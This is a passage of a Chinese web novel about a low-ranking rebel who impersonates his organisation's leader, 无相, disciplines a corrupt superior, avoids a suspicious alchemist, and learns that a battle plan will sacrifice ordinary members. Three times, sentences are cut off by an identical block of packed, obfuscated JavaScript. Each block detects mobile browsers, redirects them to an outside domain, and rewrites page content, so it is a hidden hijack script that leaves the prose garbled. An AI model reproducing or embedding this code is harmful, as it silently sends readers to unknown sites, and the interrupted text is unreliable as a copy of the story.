这是座普通的城市,与其他边境小城没什么区别。唯一特殊的是,城内最高的那座塔上,挂着一面旗帜。
紫罗兰的底色,金边的花纹,正中央是一只被射落的金鸟,代表被推翻的王室与王权。
那是加卡托兰的旗帜,是所有人都向往的反抗之地,希望之处,安宁之所。
本该是这样的。
一种难以言喻的情绪腾一下涌上来,像是吞入了滚烫的烙铁,所以呼吸逐渐急促,焦灼在胸腔蔓延,喉咙异常干渴。
即使仍在冰凉的雨中,这股情绪也无法被浇灭。
可为什么不是了呢?
只因为他是弱小的、无人在意的、不起眼的小喽啰吗?
可凭什么?
隔绝世界的雨水中,他听见内心深处,传来微弱但疯狂的声音。
这世道如此,像他这样的人,总是被践踏、被掠夺、被放弃的。
但,假如他成为另一个人呢?
一个足以影响庞大组织、改变他人命运、重组世界的人呢?
绵密、潮湿的水雾中,少年神色被黑发遮掩,只瞧见他抿紧了唇,突然夹紧了马腹,调转方向,朝来时的路奔去。
孤注一掷地、义无反顾地,像一只扑向火焰的蝴蝶,选择了本不该奔赴的命运。
————
摩菲·戈尔德没想到无相来得这么快。
在他的预期里,即使乌镶
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845867|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
月立刻出发,通知了无相,对方也会迟个一天半天,在紧要关头才出现。
无相向来如此,似乎感受不到战况焦灼,总是气定神闲、从容镇定的。
但这次快得超乎想象,是因为乌镶月去通知了?还是因为战况已经刻不容缓,根本没有悠哉的时间?
无论哪一种,他都立刻开启了战时状态,严肃地迎了上去。
“无相大人,您来了。”
无相似乎刚刚从外面赶回来,黑袍上落了一层细密的水珠,回答的语气一如既往的冷淡,“嗯。”
摩菲注意到他骑回来的马匹,是之前给乌镶月的那一匹。看样子是真的情况紧急,他匆匆带人进了会议室,门一关就开始讨论。
“之前的情况您应该知道了,帝国军的行动提前了,难怪您否决了之前的计划,原来是察觉到了这一点。”
乌镶月:“……嗯。”察觉个啥,他就是讨厌那个计划。
恭维过后,摩菲·戈尔德话锋一转,“那么,接下来该如何行动?请您指示。”
无相忽然沉默了下来,不知道是在组织语言,还是在思考战局情况,摩菲更倾向于后者。
可能是要在几种方案里,选择更为周全、有效的一种吧。他对无相这方面的能力从无质疑。
假扮无相而来的乌镶月则手指僵硬,满头大汗。
完蛋,这些高层怎么自己一个计划都没有的,全部指望无相一个人干什么?!
虽然他是来试探一下还能不能利用无相这个身份。但现在他要怎么给出一个根本不知道的计划啊!
“无相大人?”
摩菲·戈尔德等了好一会,等到已经快超过无相平时思考的时间,才终于忍不住出声了,“您有计划了吗?还是说,需要什么麻烦的准备?”
准备棺材吧,用得上。
乌镶月一咬牙,还是开口了,“颜诡人去哪了?”
他记得这人擅长出谋划策,怎么不在啊?不是该为他分忧吗!
“颜诡?”
摩菲·戈尔德没想到无相会忽然提这人,难道这次计划的主力是颜诡?
“他昨天刚改完备用的第三版计划。现在可能还在睡。”
有备用计划!
乌镶月眼睛一亮,当即拍案,“叫他过来,我看看他的计划。”
摩菲·戈尔德领命而去。
不久,脸上挂着硕大黑眼圈,一脸快要升天状态的颜诡,出现在了会议室里。
“无相大人,您找我?”一开口也是进气多出气少的样。
“嗯,我看看你的计划。”
乌镶月一抬头,吓了一跳,这是什么品种的怨鬼?
下一秒,想到这人来这的原因,又恨不得让颜诡立刻回去休息。
这可是能写计划书的人才,万一就这么噶在眼前了,谁来帮他蒙混过关?
但他不能说。
从上次会面的态度来看,无相与其他下属的关系很微妙,显然不是那种会关心下属的上司。
为了让对方赶紧回去,他拿起颜诡带来的三版计划书,草草翻了翻。
尽管摩菲·戈尔德说是赶工的,但从他的角度看来,这些计划都很完善,达到了能立刻实施的程度。
该说不愧是大名鼎鼎的谋略家吗?
献祭了精气神,却换来了有用的计划书!感谢你,无相大人,挑选了这么好用的手下。
可该选哪一份?
乌镶月的犹豫仅仅持续了一秒,想到一脸虚脱样的颜诡,他将一版计划拍在了桌上。
听天由命吧!
“就这份了!”
8. 第 8 章
被选中的是第一版计划。
传说在计划书界,总会出现翻来覆去改了十几版计划,最终被选择落实的,却是第一版计划的情况。
这次的选择,似乎也应验了这个传说。
颜诡半是心酸,半是安心地接受了这一点,好歹不用再颠倒日夜,献祭头发来写计划书了。
“那无相大人,容我告退。”
他干脆利落地道别,打算把前期工作发布下去,就赶紧去补觉。再不睡,要献祭的就不只是头发,还有小命了。
乌镶月目送金发狐狸眼青年离开,也暗暗松了口气。
太好了,没有猝死在他手上。看上去也没有怀疑他的身份。
这件事糊弄过去了,下一步就是找出之前偷他东西的人,并且报复回来了!
正当乌镶月雄心壮志,准备大展身手的时候,摩菲·戈尔德说话了。
“无相大人,按照这版计划,五天后我们将开始实施,请您届时准时到场。”
啊?什么玩意?
乌镶月瞥了眼压在手下的计划书,他不记得计划书上有说必须无相到场啊?能不能不去啊?
但他现在是无所不能的无相大人,不能露怯。
他慢条斯理翻动计划书,看似随便翻翻,保持着大人物的矜持,实则一目十行快速阅读,眼都快看花了。
这份计划应该是摩菲·戈尔德得到敌方探子的消息后,颜诡第一时间赶出来的。
帝国军队那方通过间谍探子等手段,得知了原本的诱敌深入计划,因此打算趁着他们调整策略之前,提前行动,快速进攻,打他们一个措手不及。
为了应对他们,颜诡这份计划采取是以伏击为主的反击。
加强前线部队防御的同时,在特定地点设置障碍物,延缓敌人推进的速度,也能在一定程度上重新占据主导权。
伏击可供选择的地点选择很多,其他路线也需要做布置,但必须有一处作为重心。
届时,他们将在战场重心位置,发号施令以应对突发情况。
但乌镶月压根不懂这些,届时就算到场,又怎么可能做出有效指示。
乌镶月很想说他没空他不想来,但还是那句话——他不能,他不知道真正的无相大人会如何,但他知道,摩菲·戈尔德敢问,就代表这种情况经常出现。
所以他扫了眼摊开的地图,眼一闭,心一狠,点头。
“好。”大不了到时候他谎称生病不去,反正他们又不可能找到真正的无相。
更何况战场上有一个谋略家一个情报专家不就够了吗?何必还必须有一个无相大人。
摩菲·戈尔德点点头,“那就好,无相大人,我这就下去做准备。”
乌镶月还没反应过来,摩菲·戈尔德已经一副胜券在握的模样,快快走出了会议室,头都不回。
不是?你就走了?
他瞠目结舌,眼见着原本还有点人气的会议室,又恢复成了一片安静。
这一瞬间,他感觉所谓的无相大人就像是个被用完就丢的工具。
无相大人……你真不容易啊。感叹完他反应过来,人都走了,那谁来帮他找回他的东西、他的财产?
随便找个人传达命令?先派人彻查?
可他根本不清楚这里的人员等级,顶多知道比小喽啰大,万一随便找的人根本不具有实施的能力,该怎么办?
焦头烂额之际,乌镶月灵光乍现。
不,不对。
即使是加卡托兰大本营,组织权利集中地,除了颜诡和摩菲·戈尔德,他还是有认识的中高层的。
他立刻冲着门外的守卫叮嘱:“去,把杰里·毕夏普喊来。”
“好、好的。”被点到的守卫一脸惊喜,好似是觉得被无相大人使唤而激动,速度飞快,不一会就把人带来了。
一个衣着精致,头顶一撮深棕头发,大腹便便的白胖中年男人跑到了他面前。
许是来得太过匆忙,中年男人额头满是汗水,顺着那张过于圆润的下巴滑落,他一边大口喘气,一边用手帕擦,都没时间抬头。
“杰里·毕夏普带来了。”
“嗯。”
简短的一句回应,那守卫却满脸自豪,连周围其他守卫的眼神都有些羡慕。他朝乌镶月行了个礼,回到了原处。
乌镶月略感不适应,避开灼热的视线,看向已经缓了一会,低着头等着命令的中年男人,藏在黑袍下的脸露出了一抹冷笑。
抓到你了,狗上司!
乌镶月没有参加过别的组织,不清楚正常的上司与手下到底是什么样。但杰里·毕夏普作为他们一个小分队的管理者,确实教会了他社会险恶。
作为加卡托兰的底层小喽啰,他们的日常工作,无非巡逻、搬运、站岗等。其中站岗和搬运是最常见的,巡逻比较轻松,需要一点人脉关系才能去做。无论哪种,干了活他们都有钱拿。
虽然不多,但保证每个月不挨饿是没问题的。而且干得勤快,节俭的话,还能添几件衣服,买点低价炼金药水。
可自从杰里·毕夏普挤掉了原本的小分队队长,成为他们的新上司,这样的日子就一去不复返。
明明做的活是一样多的,搬东西搬得腰酸背痛,头都抬不起来了,站岗日夜颠倒,眼皮都打架,到手上的钱却越来越少,别说每个月的衣服了,连额外买个面包,都要掂量一下存款。
干活越多越饿,越饿越需要干活挣钱,不然更饿。忍着肚子咕咕直叫,不少底层人员怒而抗议,逼问杰里·毕夏普钱去哪里了。
面对他们的不满,杰里·毕夏普总是笑眯眯的,用两套类似的话术应付。
“哎呀,现在组织里也没有多余的钱了,你们有地方住有东西吃,就该对组织心存感激,怎么能这么贪心,你们要多为组织着想啊。”
“工作变多了?那是肯定的啊,组织看重你们。钱?什么钱,你们有活做都是运气。组织里可不缺人,想加入的大把着呢。你们可考虑清楚,离了加卡托兰,你们还能去哪里?”
说是这么说,他自己倒是越过越圆润了。还叫来守卫,将他们轰了出去。
很多人背地里说,杰里·毕夏普是吞了那些钱,私自拿去用了。但苦于抓不住实际证据,对方又和处刑队的人有交情,举报也没用,只能继续忍气吞声。
如今,这个机会撞到乌镶月手上了。
“杰里·毕夏普。”
坐在上首的黑袍男人声音低沉,听不出喜怒,被喊的那人却惊得几乎跳起来,慌张地喊了一声“在”。
杰里·毕夏普不知道自己这个小中层,是怎么被无相大人这种大人物注意到的。但高层的注意对他来说,非福是祸。
他现在只祈祷他还能活着走出这里。
“你可知罪!”
偏偏无相大人一开口气势逼人,周身威压深重,杰里·毕夏普冷汗涔涔,肥胖的身体抖啊抖,说话都不利索了。
“知、知道。”他快速在脑子里回忆了一圈最近做了什么。是他最近看上了一栋民宅将其强占的事暴露了,还是偷偷截取了物资拿去转卖的事被发现了?
越想越害怕,手帕擦啊擦,都彻底湿透了。
“知道?”无相大人语气森然,“你知道还敢站在这里说话?”
肯定是最严重的那个被发现了!
杰里·毕夏普双腿一软,差点跪倒在地,立刻哭爹喊娘:“不,不是的。无相大人,我,我只是一时鬼迷心窍,我有罪,我不该偷拿组织的物资,转卖给其他人,也不该欺上瞒下,偷偷挪用组织的钱。但我不是叛徒,也曾帮组织立下汗马功劳啊!大人,求您网开一面!”
什么玩意?他还干了这么多缺德事?!
乌镶月一愣,没想到这人居然胆子这么大,还敢偷物资。加卡托兰可是三令五申不许偷物资,如果做了就要被当众处刑的。这么一说他更怀疑对方还隐藏了什么,毕竟他还没说拿他们钱的问题!
“事到如今,你还要隐瞒吗?!”
仿佛应和他的话语,那些守卫冰冷的眼神扫了下来,握紧了腰间火铳。
杰里·毕夏普呼吸一滞,感觉下一秒额头就会多一个洞,差点吓尿出来,顿时扑到无相大人脚下,哆哆嗦嗦把事情全部交代了。
“我说、我都说,请饶我一命,饶我一命!”
于是他真把上到骗取物资,下到威逼平民上交财物的事都说了出来。
乌镶月瞠目结舌,没想到自己随手一吓还能吓出这样的事来。虽说他们是和帝国对着干的反派
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845868|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,但也没想到区区一个小中层能反派到这种程度。
他做不成中层的原因,难不成是因为他没有这么无耻?
可听到最后也没听到关于吞他们工资的事,他都有点怀疑是不是杰里·毕夏普干的了。
“这就是全部?”
杰里·毕夏普满头是汗,在记忆里使劲挖掘了一阵,确实没有想到值得一说的事,战战兢兢点头,“对,这就是全部了。”
黑袍男人沉默了一会,不见喜怒道,“你侵吞下属工资的事呢?”
“啊?”杰里·毕夏普愣了一下,他完全没想到无相大人还关注这个,这件事在他的思维里,理所当然到了不需要专门去说。
大家都是这么干的啊。难道有人和无相大人有交情,告了上来?
心惊胆战的同时,他也不敢隐瞒,“有,有的。”
“那你还敢说没有!”
乌镶月牙痒痒,他当然看得出来,对杰里·毕夏普来说,这件事恐怕微不足道,不然也不会临了都想不起来。
但这件事对他很重要!他的面包,他的衣服,他的生活!
“我、我……”
杰里·毕夏普说不出话来,他在自爆时就有了觉悟,今天恐怕走不出去了,可他怎么也没想到,无相大人竟然会在最普通最平常的这件事上发难。
乌镶月张口就想叫旁边虎视眈眈的守卫弄死他,但转念一想,如果现在弄死杰里·毕夏普,钱就充公了,就不能回来了!
不行,得缓一缓。
思绪万千间,他下了决定,“你犯了很多错,来人,上刑!别弄死了。”
他没说到底什么刑罚,他知道的刑罚也不多,但没关系,旁边的守卫早就跃跃欲试,不用他多说,就扑过来,将瘫软在地上的杰里·毕夏普拖了出去。
“无相大人、无相大人、饶命,饶啊——!”
被拖出去的中年胖男人发出撕心裂肺的惨叫。
也不知道到底做了什么,等守卫拖着后背血淋淋的杰里·毕夏普回来时,乌镶月也吓了一跳。
他压下微妙惊惧,再度开口。
“念在你为组织出过力的份上,我可以给你一次将功补过的机会。”
杰里·毕夏普原本已经如死灰的心一下子活泛起来,当即趴跪在地上忏悔:“无相大人宽宏大量,我一直改过自新,重新做人,绝不会再犯……”
“你不会以为之前的事不用弥补吧?”他直接打断了他。
“不不不,我一定弥补,一定改过!”杰里·毕夏普又是发誓又是赌咒,好一番保证,才得了无相大人一句“滚吧”,便一脸虚脱的感激样,一瘸一拐出去了。
乌镶月看着他颤颤巍巍的背影,第一次觉得成为无相还是有点好处的。
要不是他在摩菲·戈尔德那里挂了个暗桩的位置,他就可以挤掉恶心上司的位置,自己升级一下了。
不想当BOSS的小喽啰,不是好反派!不过既然现在他是无相,总有机会的!
心情不错的乌镶月边思考边往大本营外走,其他人不敢冒然接触积威甚重的无相,更何况刚刚发生了那样的事,全都默默目送他。
乌镶月几乎快适应这样来去自如、前路无阻的感觉了。
结果才转了个弯,就迎面和人撞上了。
咚一声,像是撞到了某种钢铁,乌镶月捂着鼻子,一时间头晕眼花,“唔……”
对方倒是没有什么大碍的样子,不仅没有后退,还伸出异常冰冷的手扶住了他。
等等,异常冰冷的手?坚硬的身体?
乌镶月想骂人的嘴停下了,他只听说过一个人有这样的特征。
加卡托兰的顶尖炼金术师——季星·戴纳,传说中将自己大半身体都当做炼金材料炼制了的怪人。
抬头一看,紫发青金色眼睛,容貌清俊,身形高瘦,穿着一套陈旧的炼金术袍,一看就是炼金术师。
嘶,这人怎么忽然出现了?不是说一直都独自关在私人炼金室吗?
不知道他和无相的关系怎么样,总之,先应付过去,躲开吧。
没等他装模作样,这个怪人上下打量他一番,先一步发话了。
“你……是谁?”
乌镶月一句话顿时卡在了嗓子眼。
9. 第 9 章
你是谁?
如果平常遇见这个问题,乌镶月一定会答出自己的名字。
但此时此刻,这个问题的含义不再是单纯的询问姓名,而是另一种意义上的索命符。
他穿着所有人都认识的黑袍,被所有人都默认为加卡托兰的最高领导者——无相大人。
却有人问他,是谁?
乌镶月全身骤然紧绷,想后撤两步,拉开距离。
面前人扶住他的那只援手,在此刻却转变成禁锢的束缚,紧紧抓着他,似乎要防止他逃走。
他咬住唇,克制住胆怯,用无相大人的声音,冷肃道,“你做什么?”
“嗯?”
作为著名的疯狂炼金术师,季星·戴纳看着与普通炼金术师没什么区别。
此刻他反倒很困惑似的,青金色的眼眸垂落,像在看什么古怪的生物,“声音一致啊。”
乌镶月呼吸一滞,趁对方心思流转的这一瞬间,用巧劲挣开了手腕,退开几步。
“你在胡言乱语什么?”
“胡言乱语?”季星·戴纳没有再追过来,只问他,好似满心好奇,“这身打扮,还有声音,你是无相的崇拜者?”
什么崇拜者?他不是该认为我就是无相吗?!哪里露出破绽了?还是试探?
难言的惶恐中,乌镶月捏紧拳,仿佛愤怒地呵斥道:“季星·戴纳!”
“你认识我?”季星·戴纳眨眨眼,嘴角一弯,对他扯出一个友好的笑,“你叫什么?”
仿佛在认识一个新朋友般普通、正常。
越是如此,乌镶月越不安。
对方的态度与行动,是他假扮无相以来,遇见的最不正常的一个。好似一开始就认定了他不是无相,才用这般语气。其他人多少都会试探的。
“你要装傻到什么时候?!我可不奉陪了。”说罢,黑袍一扬,他转身就走。
三十六计走为上计。遇见邪门到处理不了的人,赶紧先跑了再说!
结果还没走两步,袍角就传来了拉扯感,一股风从下方吹来,吹得整个小腿凉飕飕。
“!!!”行动快过思维,他立刻一脚飞起,将人踹开了。
意外的是,踹上的一脚没有提到铁板的感觉,更像是人体。
但那一瞬间,比起疑惑,乌镶月更多的是心惊,这是第一次有人敢碰无相!
在此之前,无论颜诡和摩菲·戈尔德态度如何,都是不会轻易近身的。这也是他敢假扮无相的底气之一,如今这条看似共同的潜规则被打破了。
“你到底想做什么?!”
他猛转头,近乎吃人的视线,正好对上季星·戴纳好奇的眼光。
紫发炼金术师站在原地,神情无辜得好似刚刚拽起黑袍的人不是他。
但下一个动作就足以证明其绝非无辜——他抬手捻了捻指尖,像是在仔细回忆触感,然后脱口而出一句不知从何而来的感慨。
“居然是真货啊。”
什么真货,又在验证什么?乌镶月满心疑问,不敢暴露一个字,快速冷静下来,沉下语气,兴师问罪,“如果你活腻了,我可以帮你解脱。”
“无相大人这是在开什么玩笑?”这会儿,季星·戴纳又好像重新长了眼睛,一句话间就承认了他的身份。
“……”乌镶月难以理解到底发生了什么变化,也不知道这人是不是开玩笑,繁多的思绪中,甚至开始思考灭口。
这样的人不受控制,太过危险,万一真的某天叫破了他的身份,一切就完了!
“嗯?您想杀了我吗?”
没想到只是一点杀气,对方就敏锐地察觉到了,还一脸平静地问了出来。
“可您如果现在杀了我,我就没法给您炼制药剂了。您不是说,想要延长寿命的药剂吗?我给您带来了。”
乌镶月杀意一滞。
延长寿命的药剂?贵到有市无价的那种药剂?无相大人为什么想要这个?之前看的无相大人明明才中年模样,看着寿命还长,根本不需要这种药剂。
该不会是季星·戴纳在骗他吧?可这种药剂要是真的有,这么珍贵的东西……
胡乱思考了一分钟,他冷声道:“拿来。”
紫发炼金术师毫无意外之色,从自己的袍子里掏了掏,戴白手套的手递过来一瓶药剂。
淡金色的药水,仿佛流动的黄金,看着就极为珍贵。
乌镶月不懂炼金术,众所周知,越澄清的药剂一般越贵,这瓶比他曾经买过的低价药剂好看许多,品相很好,一看就能卖出天价。
无相大人的装扮里也有手套,不怕碰到就会中毒。他隔着手套,接下了这瓶药瓶,另一只手又摸上了刀柄。
“无相大人,这是其中之一,别的我也带了。”
仿佛看穿了他的动作,季星·戴纳适时出声,再次打断了他的杀意。
乌镶月顿了下,都要怀疑这人是不是故意的了。没听说过炼金术师会读心术啊。
他久久注视这位看着温和到没有一丝传闻中疯狂意味的炼金术师,忽然指了指旁边隐蔽的巷子,“到那里说。”
这里离加卡托兰大本营太近了。
季星·戴纳没有异议,甚至先一步迈出了脚步,将空荡的后背暴露了出来。
乌镶月沉默着跟着他身后,开始慢慢地、不着痕迹地调整步伐、行走距离、呼吸节奏。
“对了,无相大人,这次计划中要用的药剂,我还有一点疑问。”
刚一进入巷子笼罩的阴影,季星·戴纳就开口了。
身后人依旧沉默。
紫发炼金术师似乎习以为常,继续自顾自说,“这批药剂的威力,比之前说好的要弱不少,您为什么……”
想要征求意见似的,他自然而然转头,下一秒,话堵在了嘴边。
没有人。不是无相一言不发,而是——已经不见了。
不知何时,那位身披黑袍、气势冰冷的大人,已经离开了。
这里只有他。
季星·戴纳站在狭小的巷子内,全身笼罩在阴影的边界内,潮湿腥臭的气味萦绕周围,距离外界稀薄的阳光仿佛隔了一个世界。
许久,紫发的炼金术师才轻轻叹了一口气,青金色的眼眸收敛了温和的情绪,回归到一种轻飘飘无机质的非人感中。
“可惜了,没能抓到啊。”
这一刻,男人好像才和传闻中疯狂的炼金术师形象重合了。
另一头,乌镶月正在拔足狂奔。
可疑,实在可疑,可疑到他怀疑如果他杀了季星·戴纳,下一秒就会发现这个人不但没死,还露出诡异笑容的程度。
而且这次要实施的计划里,需要很多炼金药剂。
季星·戴纳作为加卡托兰以一敌百的炼金术师,暂时还不能死。死了肯定会找真凶,总不能找着找着找到他自己头上来。
种种思考下,他做出了决定——跑。
面对变态,还是揣测不定的变态,正面应对是讨不到好的。
反正季星·戴纳是常年闷在实验室的炼金术师,这次送完药剂,肯定又会回去蹲实验室。只要这段时间他避开这个家伙就没问题了。
纵使季星·戴纳察觉到什么异常,也没有机会揭穿。
乌镶月仔细思考了一遍,深感自己的英明神武。不愧是他,完全没有中敌人的奸计,还得来了珍贵的药剂。
一路七绕八绕,在某
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15845869|175778||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
个无人角落里,他快速把黑袍脱下,变回不起眼的腰带。
这是他之前拿回家研究时发现的功能。无相大人这件黑袍,竟然本身就是一件炼金物品,展开是斗篷,收缩则是腰带。因此它能被随身携带,躲过了之前家被偷的案件。
“无相的东西,奇奇怪怪的。”他嘀咕着,将其归功于大人物的奢靡作风,仔细系好了腰带。
再走出来时,他衣着普通,身份更是泯然众人——加卡托兰普通底层成员,乌镶月。无人能将他与那位令敌人闻风丧胆的无相联系起来。
“阿月,你回来啦!”
这次刚一走进居住的楼房,汤姆依旧满脸热情地同他打招呼,好像之前什么都没有发生。
乌镶月没有忘记之前的事,不搭理他,冷着脸径直往上走。
汤姆仿佛没发现他的拒绝,再度贴了上来,还是那副八卦的神秘口吻,“阿月,你知道吗?杰里·毕夏普之前一瘸一拐回来,然后竟然转性了!”
乌镶月正上楼梯的脚步顿了下,瞥了他一眼。
如同从这一眼中得到了鼓励,汤姆一下子来劲了。
“你不知道,他竟然宣布要彻查之前的盗窃、抢劫案件,还说上面给了补贴,要把之前的工钱都给我们!”
“按照那个抠门死胖子的性格,居然没有把钱全部吞了,还来管盗窃与抢劫的小事。他以前不是还说过什么‘盗窃走了东西也是小偷的本事,要怪就怪自己不好好看着’之类的话嘛,没想到不过出去了一趟,也不知道被谁教训了,居然完全变了个样。”
看来即使是奸滑的狗上司,面对顶头上司的死亡威胁,也不敢阳奉阴违。
乌镶月想到这,还颇有两分自得,要不是他,这些钱怎么可能回来。不过还是得找个由头把杰里·毕夏普宰了,这家伙不可信,说不定哪天又变原样了。
“我还听说,不止我们,其他小分队也决定整治了。真是奇了怪了,好端端的,怎么突然要管事了,虽然是好事,但总让人觉得背后可能藏着什么阴谋。对了,你最近经常不在,有没有打探到什么独家的消息啊?”
走到房门口,一路大方分享的汤姆终于图穷匕见,搓着手掌,朝他挤眉弄眼。
大概是听到风声了吧,以为高层要管下面了,大部分人都会见风使舵。但这没有必要和汤姆说,这人的态度变化也不逊于狗上司。
乌镶月连眼神都懒得给,直接打开门进去,又砰一声关上了。
木门擦着汤姆的鼻尖,惊得他出了一额头冷汗,等反应过来,才在门口大骂乌镶月,“你这个小混蛋,竟然……”
“汤姆,你觉得杰里·毕夏普会管别人胡乱散播谣言的事吗?既然是整治,乱说话的人,是不是也该被剪了舌头?”
门内传来淡淡的反问,暗示意味极强。
“你!”汤姆脸色顿时青青紫紫,最后啐了一口,“没心没肺的小东西!”就忿忿走了。
乌镶月对这人连话都不想多说,这下重获清静,就躺在了自己的小床上。
他掏出那瓶据说能增加寿命的药剂,对准天花板上的吊灯。暖黄的光线穿过瓶身,又折射出一片淡金色块,倒映在他的眼睑下。
他一时有些出神。
这几天发生的事太多了,多到他甚至觉得像一场离奇又快速的梦境,所以从开始奔跑,就不能再停下。
直到现在,他有时间短暂歇息,才忍不住思考。
无相大人为什么需要这种药剂?这个念头刚一升起,他才恍惚察觉,他假扮的无相大人,他曾以为无所不能的无相大人,许多人仰望的无相大人。
不知来历、不知过去、不知想法。
到底……是什么人?
10. 第 10 章
无相大人的事,好像谁都能说上一嘴。
比如站出来公然反抗拉加帝国的反叛者,创建加卡托兰的组织者,战场上决胜千里的英雄人物。
但细细一问,具体到长相、出身、喜好等,就没人答得出来了。
“无相大人就是、就是很厉害的人啊,知道这个不就行了。”
有人被问得不耐烦,如此回答。
在大多数人眼里,无相大人好像是一种精神符号,一个外显的支柱,一个遥远传说,而绝非一个正常的、有社会关系、有喜怒哀乐的人。
距离太远的大人物,对底层的他们来说,就是那样的。
如果不是发生了那种事,恐怕乌镶月也会将无相大人视作和雕像一样的东西。
没能打听出来什么,乌镶月龟缩在自己的地盘,干活时都特意将自己弄得灰头土脸,一步也不敢往大本营那边窜,生怕被季星·戴纳发现。
他总觉得这位炼金术师有点诡异,比摩菲·戈尔德那种挑明的戏谑要让人警惕。
幸运的是,这两天确实没什么事。
让人津津乐道的是,杰里·毕夏普履行了诺言,当真大力惩治违规行为,让不少等着看笑话的人大跌眼镜。不止如此,他还把当初偷东西的那一批人揪了出来,要求他们要么归还原物,要么照价赔偿。
作为受害者之一,乌镶月的东西大多被卖了,最后得到了零零散散的几件,和一笔钱。哦,还有一份心不甘情不愿的道歉。
看得出来,这些惯犯迫于压力才会这么做,等高压政策一结束,说不定哪天还会再犯。
但他不在意这些。能拿回自己的东西,已经比以前好上许多。
除此之外,杰里·毕夏普补发的那一笔钱更让人喜上眉梢。当然,对方没说是归还之前侵吞的工资,只说是上头压的工资发下来了。这样一说,倒还真有人觉得杰里·毕夏普是个好人了。
乌镶月猜测这是他的自救手段。可惜他不吃这套,所以无相大人也不会吃这套。
杰里·毕夏普发钱时痛不欲生、惹人发笑的嘴脸先不说,他的经济状况一下子从抠抠搜搜数着钢镚花的赤贫,转为了一天能买三顿面包的小有积蓄。
虽然比不上那些贵族老爷,但和一般平民相近了。
这值得庆祝一顿!
乌镶月毫不犹豫,锁定了城内著名的甜品店。他早听说那家店推出了季节限定的甜品,美味到供不应求,却苦于钱包干瘪,一次也没敢去。
今天,就是实现愿望的时候!
这次他是一个人去的。原本总陪他一起去吃的杰夫·李德,现在不知道是在牢房里,还是土里。虽然有点可惜,但想想被牵连的事,一下子又不怎么可惜了。
他和组织里其他人关系也一般,没有好到能一起约出去吃饭的程度,之前汤姆或许算半个,但现在不一样了。
乌镶月回想起来还是有些愤愤不平,直到闻到空气中香甜的味道,心情才好了起来。
这家店的用餐区域是露天的,高大的伞撑开,下方摆着木质桌椅,桌上还摆着鲜花。据说这是从王都学来的办法,既能遮阳,又很引人瞩目。
今天来这吃甜品的人不算多,限定甜品还有,但中心的好位置被占去了,乌镶月不在意这个,环顾一圈,挑了个边角坐下了。
甜品很快被送上来。圆鼓鼓的酥脆外皮,内含雪白柔软的奶油,和清甜新鲜的水果,看一眼就让人食欲大开。
乌镶月吸溜了口口水,拿起勺子挖下一块,惊叹其像豆腐一样柔软,就迅速塞到了嘴里。
好吃!像在牛奶做的云层里打滚,天上还下了水果雨,还像、像……
“想个屁想!他们就是要我们去死!”
糖分带来的满足感中,气急败坏的声音冷不丁闯入,乌镶月差点噎住,连忙灌了一口水才咽了下去。
是从临街的巷子里传来的声音。不知道为什么,不少人喜欢在无人的巷子或墙角商议事情,自以为无人知晓,也不管是不是隔墙有耳。
作为耳的那一方,乌镶月完全不感兴趣,甚至在考虑要不要换个地方坐。
“我当然知道,现在说这个也没用了,我们得想想办法,不然我们真要成了加卡托兰用了就丢的尸体了!”
“我们能有什么办法?上头都下了命令,要我们当先遣队!这不是送死吗!”
“所以我说,我们不如趁此机会赶紧跑吧!趁着他们还没注意到,赶紧跑!”
“能跑去哪儿?加卡托兰给的钱是最多的了,帝国军那边死了,能不能留个全尸都不知道!”
接二连三的对话声中,乌镶月的动作慢了下来。
他是知道这件事的。不仅全程参与了决定行动的会议,计划也是他选的。
加卡托兰的底层人员获取的信息很少,往往在开战前才会得到行动指令。起码和乌镶月住在一栋楼里的组织成员,还不清楚这件事。
但纸包不住火,总有级别更高、消息更灵通的人,提前得知部分计划。
香甜的气息依旧萦绕鼻尖,嘴里还残留着甜腻的味道,品尝美食的黑发少年脑子里,却一闪而过血流成河、尸殍遍地的战场。
乌镶月盯着面前不知不觉被挖得坑坑洼洼、乱七八糟的甜品,感觉自己一瞬失去了吞咽的能力。
沉甸甸的东西似乎悄无声息滑入喉咙,沉入胃壁,压得他整个人呼吸都不顺畅,指尖都泛着冷意。
什么情况?先遣队……这不是最开始的那个计划吗?
那个无视底层组织成员意愿,想将他们的性命当做诱饵的,冰冷无情的诱敌计划。
乌镶月像吞了一口寒风,无数辩驳与解释,在沙哑的干涸中被吹散了。
他怔怔抬头,望向太阳落下的西方,在同样的方向,是他唯恐避之不及的,加卡托兰的大本营。
紫红交织的晚霞中,第一道阴影,似乎落在了那栋建筑上。
*
这个晚上,加卡托兰里有一部分底层成员悄无声息离开了。没人知道他们去哪,又或者是没人在意他们去哪。
